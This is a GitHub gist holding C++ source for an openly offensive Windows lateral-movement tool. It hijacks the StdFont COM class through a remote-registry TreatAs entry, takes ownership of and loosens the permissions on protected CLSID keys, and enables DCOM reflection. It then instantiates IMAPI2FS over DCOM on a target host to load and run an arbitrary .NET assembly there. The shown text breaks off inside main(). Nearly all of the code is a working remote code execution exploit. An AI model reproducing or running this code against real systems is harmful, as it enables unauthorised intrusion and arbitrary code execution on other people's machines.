Skip to content

Instantly share code, notes, and snippets.

@kyleavery
Last active July 24, 2025 20:11
Show Gist options
  • Select an option

  • Save kyleavery/8b604e6d5bfc30704dfee251b3bd7815 to your computer and use it in GitHub Desktop.

Select an option

Save kyleavery/8b604e6d5bfc30704dfee251b3bd7815 to your computer and use it in GitHub Desktop.
// imapi2fs-com-stdfont-reflection.cpp
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <olectl.h>
#include <iostream>
#include <stdio.h>
#include <vector>
#include <aclapi.h>
#include <metahost.h>
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "mscoree.lib")
#pragma warning(disable : 4996)
#import "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb" raw_interfaces_only rename("ReportEvent", "_ReportEvent") rename("or", "_or")
using namespace mscorlib;
// CLSID/TypeLib information for IMAPI2FS.MsftFileSystemImage
static const CLSID CLSID_MsftFileSystemImage = { 0x2c941fc5, 0x975b, 0x59be, { 0xa9, 0x60, 0x9a, 0x2a, 0x26, 0x28, 0x53, 0xa5 } };
// We'll pick IFileSystemImage's IID
static const IID IID_IFileSystemImage = { 0x2c941fe1, 0x975b, 0x59be, { 0xa9, 0x60, 0x9a, 0x2a, 0x26, 0x28, 0x53, 0xa5 } };
// stdole StdFont and System.Object GUIDs for registry hijack
static const CLSID CLSID_StdFont = { 0x0be35203, 0x8f91, 0x11ce, { 0x9d, 0xe3, 0x00, 0xaa, 0x00, 0x4b, 0xb8, 0x51 } };
// The System.Object interface for TreatAs -- see original pattern
static const IID IID_IObject = { 0x65074F7F, 0x63C0, 0x304E, { 0xAF, 0x0A, 0xD5, 0x17, 0x41, 0xCB, 0x4A, 0x8D } };
// --- Registry and sid utilities (unchanged, but ensure this compiles as a single file) ---
// [REPEAT ALL THE SAME SUPPORT AND UTILITIES: see below]
// Structures to save/restore reg state
typedef struct _ORIGINAL_REG_VALUES {
PVOID AllowDCOMReflection;
PVOID OnlyUseLatestCLR;
PVOID StandardFontTreatAs;
BOOLEAN NetFrameworkKey_Exists;
} ORIGINAL_REG_VALUES, * PORIGINAL_VALUES;
typedef struct _ACL_INFO {
PSID_IDENTIFIER_AUTHORITY NtAuthority;
PSID AdminSid;
PSID TrustedInstallerSid;
}ACL_INFO, * PACL_INFO;
ORIGINAL_REG_VALUES og = { 0 };
BOOLEAN EnableRemoteRegistry = FALSE;
uint8_t* readFileToBytes(LPSTR filename, size_t* outSize) {
HANDLE fileHandle = CreateFileA(
filename,
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (fileHandle == INVALID_HANDLE_VALUE) {
*outSize = 0;
return nullptr;
}
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(fileHandle, &fileSize)) {
CloseHandle(fileHandle);
*outSize = 0;
return nullptr;
}
if (fileSize.QuadPart > SIZE_MAX) {
CloseHandle(fileHandle);
*outSize = 0;
return nullptr;
}
size_t bufferSize = static_cast<size_t>(fileSize.QuadPart);
uint8_t* buffer = (uint8_t*)malloc(bufferSize);
if (!buffer) {
CloseHandle(fileHandle);
*outSize = 0;
return nullptr;
}
DWORD bytesRead;
size_t totalBytesRead = 0;
size_t remainingBytes = bufferSize;
while (remainingBytes > 0) {
if (!ReadFile(
fileHandle,
buffer + totalBytesRead,
static_cast<DWORD>(min(remainingBytes, MAXDWORD)),
&bytesRead,
nullptr
)) {
free(buffer);
CloseHandle(fileHandle);
*outSize = 0;
return nullptr;
}
if (bytesRead == 0) {
break;
}
totalBytesRead += bytesRead;
remainingBytes -= bytesRead;
}
CloseHandle(fileHandle);
*outSize = totalBytesRead;
return buffer;
}
SIZE_T CharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed) {
INT Length = (INT)MaximumAllowed;
while (--Length >= 0) {
if (!(*Destination++ = *Source++)) {
return MaximumAllowed - Length - 1;
}
}
return MaximumAllowed - Length;
}
VOID StartRemoteRegistry(LPSTR computerName) {
HANDLE hPipe;
CHAR remoteRegistryPipe[255] = { 0 };
sprintf(remoteRegistryPipe, "\\\\%s\\pipe\\winreg", computerName);
printf("[+] Opening a handle to %s\n", remoteRegistryPipe);
hPipe = CreateFileA(remoteRegistryPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE && GetLastError() != ERROR_PIPE_BUSY) {
printf("[-] Error opening handle: 0x%llx\n", GetLastError());
}
else {
printf("[+] Triggered pipe. RemoteRegistry should now be started\n");
}
CloseHandle(hPipe);
memset(remoteRegistryPipe, 0, sizeof(remoteRegistryPipe));
}
BOOLEAN CreateKey(HKEY hRemoteRegistry, LPSTR KeyName) {
BOOLEAN ret = FALSE;
LSTATUS result = NULL;
HKEY temp = NULL;
if (!hRemoteRegistry || !KeyName) {
return ret;
}
result = RegCreateKeyExA(hRemoteRegistry, KeyName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &temp, NULL);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to create key %s - RegCreateKeyExA: 0x%x\n", KeyName, result);
goto cleanup;
}
printf("[+] Created %s successfully\n", KeyName);
ret = TRUE;
cleanup:
if (temp) RegCloseKey(temp);
return ret;
}
BOOLEAN CheckKey(HKEY hRemoteRegistry, LPSTR KeyName, PBOOLEAN Exists) {
BOOLEAN ret = FALSE;
LSTATUS result = NULL;
HKEY temp = NULL;
if (!hRemoteRegistry || !KeyName || !Exists) {
return ret;
}
printf("[+] Checking if %s exists\n", KeyName);
result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &temp);
if (result != ERROR_SUCCESS) {
if (result == ERROR_FILE_NOT_FOUND) {
*Exists = FALSE;
printf("[+] %s doesn't exist, going to try to create it\n", KeyName);
}
else {
printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result);
goto cleanup;
}
}
else {
*Exists = TRUE;
}
ret = TRUE;
cleanup:
if (temp) RegCloseKey(temp);
return ret;
}
BOOLEAN CheckAndCreateKey(HKEY hRemoteRegistry, LPSTR KeyName, PBOOLEAN Exists) {
if (!hRemoteRegistry || !KeyName || !Exists) {
return FALSE;
}
if (!CheckKey(hRemoteRegistry, KeyName, Exists)) {
return FALSE;
}
if (!CreateKey(hRemoteRegistry, KeyName)) {
return FALSE;
}
return TRUE;
}
BOOLEAN DeleteKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName) {
HRESULT result = RegDeleteKeyA(hRemoteRegistry, KeyName);
if (result != ERROR_SUCCESS) {
printf("[-] Error deleting %s - RegDeleteKeyA: 0x%x\n", KeyName, result);
return FALSE;
}
return TRUE;
}
BOOLEAN ReadValue(HKEY hRemoteRegistry, LPSTR KeyName, LPSTR ValueName, PBOOLEAN Exists, PVOID* Value) {
BOOLEAN ret = FALSE;
LSTATUS result = NULL;
DWORD sz = 0;
DWORD type = 0;
HKEY hKey = NULL;
if (!hRemoteRegistry || !KeyName || !ValueName || !Exists) {
return ret;
}
printf("[+] Checking if %s exists\n", KeyName);
result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
if (result == ERROR_FILE_NOT_FOUND) {
printf("[+] %s doesn't exist.\n", KeyName);
*Exists = FALSE;
}
else {
printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result);
goto cleanup;
}
}
else {
printf("[+] %s exists, reading value.\n", KeyName);
result = RegQueryValueExA(hKey, ValueName, NULL, &type, NULL, &sz);
if (result == ERROR_FILE_NOT_FOUND) {
*Exists = FALSE;
printf("[+] Value: %s doesn't exist\n", ValueName);
ret = TRUE;
goto cleanup;
}
else if (result == ERROR_SUCCESS) {
*Exists = TRUE;
if (Value) {
*Value = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz);
result = RegQueryValueExA(hKey, ValueName, NULL, &type, (LPBYTE)*Value, &sz);
if (result != ERROR_SUCCESS) {
printf("[-] Error when reading the %s value on %s - RegQueryValueEx: 0x%x\n", ValueName, KeyName, result);
goto cleanup;
}
}
}
else {
printf("[-] Error - RegQueryValueExA: 0x%x\n", result);
goto cleanup;
}
}
ret = TRUE;
cleanup:
if (hKey) RegCloseKey(hKey);
return ret;
}
BOOLEAN WriteValue(HKEY hRemoteRegistry, LPSTR KeyName, LPSTR ValueName, DWORD Type, PVOID Value, DWORD size) {
BOOLEAN ret = FALSE;
LSTATUS result = NULL;
HKEY hKey = NULL;
if (!hRemoteRegistry || !KeyName || !ValueName) {
return ret;
}
printf("[+] Getting handle to %s\n", KeyName);
result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_WRITE, &hKey);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result);
goto cleanup;
}
if (Value) {
printf("[+] Writing value into %s\n", KeyName);
if (!size) {
Value = NULL;
}
result = RegSetValueExA(hKey, ValueName, 0, Type, (PBYTE)Value, size);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to set %s value on %s - RegSetValueExA: 0x%x\n", ValueName, KeyName, result);
goto cleanup;
}
}
else {
printf("[+] Deleting %s from %s\n", ValueName, KeyName);
result = RegDeleteValueA(hKey, ValueName);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to delete %s value on %s - RegDeleteValueA: 0x%x\n", ValueName, KeyName, result);
goto cleanup;
}
}
ret = TRUE;
cleanup:
if (hKey) {
RegCloseKey(hKey);
}
return ret;
}
BOOLEAN ChangeClsidKeyOwner(HKEY hRemoteRegistry, LPSTR clsidKey, PSID adminSid) {
HKEY hKey = NULL;
HKEY hRootKey = HKEY_LOCAL_MACHINE;
LONG result = FALSE;
BOOLEAN ret = FALSE;
SECURITY_DESCRIPTOR sd;
result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, WRITE_OWNER, &hKey);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to open %s with WRITE_OWNER access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError());
goto cleanup;
}
if (!(InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))) {
printf("[-] Failed to create a new security descriptor - InitializeSecurityDescriptor: 0x%x\n", GetLastError());
goto cleanup;
}
if (!SetSecurityDescriptorOwner(&sd, adminSid, FALSE)) {
printf("[-] Failed to set ownership in the security descriptor - SetSecurityDescriptorOwner: 0x%x\n", GetLastError());
goto cleanup;
}
result = RegSetKeySecurity(hKey, OWNER_SECURITY_INFORMATION, &sd);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to set ownership of %s - RegSetKeySecurity: 0x%x\n", clsidKey, GetLastError());
goto cleanup;
}
printf("[+] Successfully changed the owner of the registry key\n");
ret = TRUE;
cleanup:
if (hKey) {
RegCloseKey(hKey);
}
return ret;
}
BOOLEAN ChangeClsidKeyDacl(HKEY hRemoteRegistry, LPSTR clsidKey, PSID adminSid, DWORD accessMask) {
PSECURITY_DESCRIPTOR pSD = NULL;
EXPLICIT_ACCESS ea = { 0 };
SECURITY_DESCRIPTOR newSD = { 0 };
DWORD cbSecurityDescriptor = 0;
BOOLEAN ret = FALSE;
BOOL bDaclPresent = FALSE;
BOOL bDaclDefaulted = FALSE;
HKEY hRegKey = NULL;
PACL pOldAcl = NULL;
PACL pNewAcl = NULL;
LONG result = NULL;
result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, KEY_READ | WRITE_DAC, &hRegKey);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to open %s with Read and Write DACL access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError());
goto cleanup;
}
result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, NULL, &cbSecurityDescriptor);
if (result != ERROR_SUCCESS && result != ERROR_INSUFFICIENT_BUFFER) {
printf("[-] Failed to query %s's security descriptor size - RegGetKeySecurity: 0x%x\n", clsidKey, result);
goto cleanup;
}
pSD = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbSecurityDescriptor);
result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, pSD, &cbSecurityDescriptor);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to read %s's security descriptor - RegGetKeySecurity: 0x%x\n", clsidKey, result);
goto cleanup;
}
if (!GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pOldAcl, &bDaclDefaulted)) {
printf("[-] Failed to get DACL from security descriptor - GetSecurityDescriptorDacl: 0x%x\n", GetLastError());
goto cleanup;
}
ea.grfAccessPermissions = accessMask;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea.Trustee.ptstrName = (LPWCH)adminSid;
result = SetEntriesInAclW(1, &ea, pOldAcl, &pNewAcl);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to create ACL to enable key modification - SetEntriesInAclW: 0x%x\n", GetLastError());
goto cleanup;
}
if (!InitializeSecurityDescriptor(&newSD, SECURITY_DESCRIPTOR_REVISION)) {
printf("[-] Failed to initialize security descriptor to enable key modification - InitializeSecurityDescriptor: 0x%x\n", GetLastError());
goto cleanup;
}
if (!SetSecurityDescriptorDacl(&newSD, TRUE, pNewAcl, FALSE)) {
printf("[-] Failed to create DACL to enable key modification - SetSecurityDescriptorDacl: 0x%x\n", GetLastError());
goto cleanup;
}
result = RegSetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, &newSD);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to set DACL to enable key modification - RegSetKeySecurity: 0x%x\n", GetLastError());
goto cleanup;
}
ret = TRUE;
printf("[+] Changed CLSID Key DACL\n");
cleanup:
if (hRegKey) {
RegCloseKey(hRegKey);
}
if (pNewAcl) {
LocalFree(pNewAcl);
}
if (pSD) {
HeapFree(GetProcessHeap(), NULL, pSD);
}
return ret;
}
BOOLEAN DoRegistry_RPC(LPSTR target, BOOLEAN Clean, PACL_INFO sids) {
HKEY hRemoteReg = NULL;
LSTATUS result = NULL;
BOOLEAN ret = TRUE;
LPSTR value = NULL;
BOOLEAN exists = FALSE;
CHAR regst_buffer[255] = { 0 };
CHAR* NetFrameworkKey = (PCHAR)("SOFTWARE\\Microsoft\\.NETFramework");
CHAR* StandardFont_CLSID = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}");
CHAR* StandardFont_Treat = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\\TreatAs");
CHAR* System_Object_GUID = (PCHAR)("{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}");
DWORD sz = strlen(target);
if (sz > sizeof(regst_buffer) - 1) {
printf("[-] Target is too large\n");
goto cleanup;
}
sprintf(regst_buffer, "\\\\%s", target);
if (EnableRemoteRegistry) {
StartRemoteRegistry(target);
}
result = RegConnectRegistryA(regst_buffer, HKEY_LOCAL_MACHINE, &hRemoteReg);
if (result != ERROR_SUCCESS) {
printf("[-] Failed to connect to %s's registry - RegConnectRegistry: 0x%x\n", target, result);
goto cleanup;
}
printf("[+] Connected to: %s\n", regst_buffer);
if (!Clean) {
if (!CheckKey(hRemoteReg, NetFrameworkKey, &exists)) {
goto cleanup;
}
if (!exists) {
if (!CreateKey(hRemoteReg, NetFrameworkKey)) {
goto cleanup;
}
og.NetFrameworkKey_Exists = FALSE;
}
else {
og.NetFrameworkKey_Exists = TRUE;
}
DWORD one = 1;
if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", &exists, &og.AllowDCOMReflection)) {
goto cleanup;
}
if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", REG_DWORD, &one, sizeof(one))) {
goto cleanup;
}
if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", &exists, &og.OnlyUseLatestCLR)) {
goto cleanup;
}
if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", REG_DWORD, &one, sizeof(one))) {
goto cleanup;
}
exists = FALSE;
if (!CheckKey(hRemoteReg, StandardFont_Treat, &exists)) {
goto cleanup;
}
if (exists) {
printf("[+] TreatAs subkey exists on StandardFont for some reason. Going to try to read it...\n");
if (!ReadValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", &exists, &og.StandardFontTreatAs)) {
goto cleanup;
}
}
printf("[+] Trying to obtain ownership of %s...\n", StandardFont_CLSID);
if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->AdminSid)) {
goto cleanup;
}
printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_CLSID);
if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_ALL_ACCESS)) {
goto cleanup;
}
if (!exists) {
if (!CreateKey(hRemoteReg, StandardFont_Treat)) {
goto cleanup;
}
}
printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_Treat);
if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_Treat, sids->AdminSid, KEY_ALL_ACCESS)) {
goto cleanup;
}
if (!WriteValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", REG_SZ, System_Object_GUID, strlen(System_Object_GUID) + 1)) {
goto cleanup;
}
}
else {
if (og.AllowDCOMReflection) {
WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", REG_DWORD, og.AllowDCOMReflection, sizeof(DWORD));
}
else {
WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", NULL, NULL, 0);
}
if (og.OnlyUseLatestCLR) {
WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", REG_DWORD, og.OnlyUseLatestCLR, sizeof(DWORD));
}
else {
WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", NULL, NULL, 0);
}
if (og.StandardFontTreatAs) {
WriteValue(hRemoteReg, StandardFont_Treat, (PCHAR)"", REG_SZ, og.StandardFontTreatAs, 0);
}
else {
DeleteKey(hRemoteReg, StandardFont_Treat);
}
if (!og.NetFrameworkKey_Exists) {
if (!DeleteKey(hRemoteReg, NetFrameworkKey)) {
goto cleanup;
}
}
printf("[+] Trying to set KEY_READ on %s...\n", StandardFont_CLSID);
if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_READ)) {
goto cleanup;
}
printf("[+] Trying to reset ownership of %s...\n", StandardFont_CLSID);
if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->TrustedInstallerSid)) {
goto cleanup;
}
}
ret = FALSE;
cleanup:
if (value) {
HeapFree(GetProcessHeap(), NULL, value);
}
if (hRemoteReg) {
RegCloseKey(hRemoteReg);
}
return ret;
}
// --- Reflection helpers (unchanged from original example) ---
long GetSafeArrayLen(LPSAFEARRAY psa) {
long ubound = 0;
SafeArrayGetUBound(psa, 1, &ubound);
return ubound + 1;
}
mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) {
DWORD counter = 0;
SAFEARRAY* methods = nullptr;
HRESULT hr = type->GetMethods_2(&methods);
if (FAILED(hr) || !methods) return nullptr;
mscorlib::_MethodInfoPtr ret;
LONG methodCount = GetSafeArrayLen(methods);
for (LONG i = 0; i < methodCount; ++i)
{
IUnknown* v = nullptr;
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
{
mscorlib::_MethodInfoPtr method = v;
BSTR methodName = nullptr;
method->get_name(&methodName);
SAFEARRAY* params = nullptr;
method->GetParameters(&params);
long paramCount = params ? GetSafeArrayLen(params) : 0;
VARIANT_BOOL isStatic = VARIANT_FALSE;
method->get_IsStatic(&isStatic);
if (isStatic == VARIANT_TRUE && wcscmp(methodName, findName) == 0 && paramCount == pcount) {
if (wcscmp(methodName, L"Load") == 0 && counter < 2) {
counter++;
continue;
}
ret = method;
if (params) {
SafeArrayDestroy(params);
}
SysFreeString(methodName);
break;
}
if (params) {
SafeArrayDestroy(params);
}
SysFreeString(methodName);
}
}
SafeArrayDestroy(methods);
return ret;
}
template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args, HRESULT* o_hr = NULL) {
variant_t obj;
T retObj;
SAFEARRAY* psa;
SAFEARRAYBOUND rgsabound[1];
rgsabound[0].lLbound = 0;
rgsabound[0].cElements = (ULONG)args.size();
psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);
for (LONG i = 0; i < (LONG)args.size(); ++i) {
SafeArrayPutElement(psa, &i, &args[i]);
}
VARIANT vtRet;
VariantInit(&vtRet);
HRESULT hr = method->Invoke_3(obj, psa, &vtRet);
printf("Invoke_3: 0x%x\n", hr);
if ((vtRet.vt == VT_UNKNOWN) || (vtRet.vt == VT_DISPATCH)) {
retObj = vtRet.punkVal;
}
VariantClear(&vtRet);
SafeArrayDestroy(psa);
if (o_hr) {
*o_hr = hr;
}
return retObj;
}
// --- Main Execute() routine using IMAPI2FS logic ---
BOOLEAN Execute(LPSTR target, LPSTR assemblyPath) {
_com_ptr_t<_com_IIID<ITypeLib, &__uuidof(ITypeLib)>> pTypeLib;
_com_ptr_t<_com_IIID<ITypeLib, &__uuidof(ITypeLib)>> pTypeLib2;
_com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo;
_com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo2;
_com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo3;
mscorlib::_ObjectPtr obj;
mscorlib::_TypePtr type;
mscorlib::_TypePtr type2;
mscorlib::_TypePtr type3;
mscorlib::_TypePtr baseType;
mscorlib::_MethodInfoPtr getTypeMethod;
mscorlib::_MethodInfoPtr loadMethod;
HREFTYPE hRef = NULL;
try {
std::wcout << L"[*] Initializing COM environment..." << std::endl;
HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
if (FAILED(hr)) {
throw hr;
}
// Step 1: Instantiate the target IMAPI2FS COM object remotely
CLSID clsid = CLSID_MsftFileSystemImage;
IID iid = IID_IFileSystemImage;
IDispatch* pDispatch = nullptr;
WCHAR wTarget[255] = { 0 };
CharStringToWCharString(wTarget, target, strlen(target));
COSERVERINFO serverInfo = { 0 };
serverInfo.pwszName = wTarget;
MULTI_QI multiQI;
multiQI.pIID = &IID_IDispatch;
multiQI.pItf = nullptr;
multiQI.hr = S_OK;
std::wcout << L"[*] Connecting to remote IMAPI2FS on " << wTarget << std::endl;
hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER, &serverInfo, 1, &multiQI);
if (FAILED(hr)) {
std::cout << "[-] CoCreateInstanceEx failed for IMAPI2FS.MsftFileSystemImage: 0x" << std::hex << hr << std::endl;
CoUninitialize();
return 1;
}
pDispatch = (IDispatch*)multiQI.pItf;
// Step 2: Get ITypeInfo of the default interface
hr = pDispatch->GetTypeInfo(0, NULL, &pTypeInfo);
if (FAILED(hr)) {
printf("[-] GetTypeInfo failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
// Step 3: Get the containing type library (should include stdole as ref)
hr = pTypeInfo->GetContainingTypeLib(&pTypeLib, 0);
if (FAILED(hr)) {
printf("[-] GetContainingTypeLib failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
// Step 4: Get the TypeInfo for IID_IFileSystemImage
hr = pTypeLib->GetTypeInfoOfGuid(iid, &pTypeInfo);
if (FAILED(hr)) {
printf("[-] GetTypeInfoOfGuid failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
// Step 5: Walk up to the stdole referenced library and fetch StdFont TypeInfo
hr = pTypeInfo->GetRefTypeOfImplType(0, &hRef);
if (FAILED(hr)) {
printf("[-] GetRefTypeOfImplType failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
hr = pTypeInfo->GetRefTypeInfo(hRef, &pTypeInfo2);
if (FAILED(hr)) {
printf("[-] GetRefTypeInfo failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
hr = pTypeInfo2->GetContainingTypeLib(&pTypeLib2, 0);
if (FAILED(hr)) {
printf("[-] GetContainingTypeLib (base) failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
hr = pTypeLib2->GetTypeInfoOfGuid(CLSID_StdFont, &pTypeInfo3);
if (FAILED(hr)) {
printf("[-] GetTypeInfoOfGuid(StdFont) failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
// Step 6: Use TypeInfo to CreateInstance for our trapped object (System.Object)
hr = pTypeInfo3->CreateInstance(nullptr, IID_IObject, (void**)&obj);
if (FAILED(hr)) {
printf("[-] CreateInstance for System.Object (trapped) failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
std::wcout << L"[+] Successfully got StdFont TypeInfo and trapped System.Object\n";
// Step 7: Get runtime type, walk up to System.Type and .NET reflection
hr = obj->GetType(&type);
if (FAILED(hr)) {
printf("[-] obj->GetType failed: 0x%x\n", hr);
CoUninitialize();
return 1;
}
BSTR b = SysAllocStringByteLen(NULL, 255);
hr = type->get_ToString(&b);
hr = type->GetType(&type2);
hr = type2->get_BaseType(&baseType);
hr = baseType->get_BaseType(&type3);
getTypeMethod = GetStaticMethod(type3, L"GetType", 1);
printf("[*] GetTypeMethod Address: %p\n", (void*)getTypeMethod.GetInterfacePtr());
std::vector<variant_t> getTypeArgs;
getTypeArgs.push_back(L"System.Reflection.Assembly, mscorlib");
type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);
if (type) {
printf("[+] Got Assembly type\n");
loadMethod = GetStaticMethod(type, L"Load", 1);
if (loadMethod) {
printf("[+] Got Load method\n");
SIZE_T size = 0;
PBYTE bytes = readFileToBytes(assemblyPath, &size);
variant_t obj = { 0 };
// Parent array -- object[] {}
SAFEARRAY* psa;
SAFEARRAYBOUND rgsabound[1];
rgsabound[0].lLbound = 0;
rgsabound[0].cElements = 1;
psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);
// Byte array -- byte[] {}
SAFEARRAY* _psa;
SAFEARRAYBOUND _rgsabound[1];
_rgsabound[0].lLbound = 0;
_rgsabound[0].cElements = size;
_psa = SafeArrayCreate(VT_UI1, 1, _rgsabound);
PVOID pvData = NULL;
hr = SafeArrayAccessData(_psa, &pvData);
memcpy(pvData, bytes, size);
hr = SafeArrayUnaccessData(_psa);
pvData = NULL;
// Fill in the parent array -- object[] { byte[] {} }
LONG index = 0;
VARIANT var;
VariantInit(&var);
var.vt = VT_ARRAY | VT_UI1;
var.parray = _psa;
SafeArrayPutElement(psa, &index, &var);
VARIANT vtRet;
VariantInit(&vtRet);
hr = loadMethod->Invoke_3(obj, psa, &vtRet); // CLR v4 signature
printf("Load -- Invoke_3: 0x%x, ret:0x%x\n", hr, vtRet.punkVal);
mscorlib::_AssemblyPtr result = vtRet.punkVal;
VariantClear(&var);
VariantClear(&vtRet);
SafeArrayDestroy(psa);
if (result) {
printf("[+] Assembly loaded successfully\n");
mscorlib::_MethodInfoPtr entryPoint;
hr = ((mscorlib::_AssemblyPtr)result)->get_EntryPoint(&entryPoint);
if (SUCCEEDED(hr) && entryPoint) {
printf("[+] Got entry point\n");
SAFEARRAYBOUND bounds = { 1, 0 };
SAFEARRAY* psaStrings = SafeArrayCreate(VT_BSTR, 1, &bounds);
if (psaStrings) {
LONG index = 0;
BSTR arg = SysAllocString(L"");
hr = SafeArrayPutElement(psaStrings, &index, arg);
SysFreeString(arg);
VARIANT vArgs;
VariantInit(&vArgs);
V_VT(&vArgs) = VT_ARRAY | VT_BSTR;
V_ARRAY(&vArgs) = psaStrings;
std::vector<variant_t> mainArgs;
mainArgs.push_back(vArgs);
printf("[*] Invoking Main with args...\n");
variant_t mainResult = ExecuteMethod<variant_t>(entryPoint, mainArgs, &hr);
printf("[+] Main executed successfully\n");
SafeArrayDestroy(psaStrings);
}
}
else {
printf("[-] Failed to get entry point: 0x%08lX\n", hr);
}
}
else {
printf("[-] Load failed: 0x%x\n", result);
}
}
}
if (og.AllowDCOMReflection) {
free(og.AllowDCOMReflection);
}
if (og.OnlyUseLatestCLR) {
free(og.OnlyUseLatestCLR);
}
if (og.StandardFontTreatAs) {
free(og.StandardFontTreatAs);
}
CoUninitialize();
return 0;
}
catch (HRESULT hr) {
printf("[-] COM error occurred: 0x%08lX\n", hr);
return 1;
}
catch (...) {
printf("[-] Unknown error occurred\n");
return 1;
}
}
// --- main() stub: Accepts [target-host] [C:\path\to\payload.dll] ---
int main(INT argc, PCHAR argv[]) {
if (argc != 3) {
printf("Usage: imapi2fs-com-stdfont-reflection.exe [target-host] [c:\\path\\to\\assembly.dll] \n");
return 1;
}
LPSTR target = argv[1];
LPSTR assemblyPath = argv[2];
ACL_INFO sids = { 0 };
EnableRemoteRegistry = TRUE;
og = { 0 };
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
PSID adminSid = NULL;
PSID trustedInstallerSid = NULL;
if (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminSid)) {
printf("[-] AllocateAndInitializeSid() failed for Administrators: %d\n", GetLastError());
return 1;
}
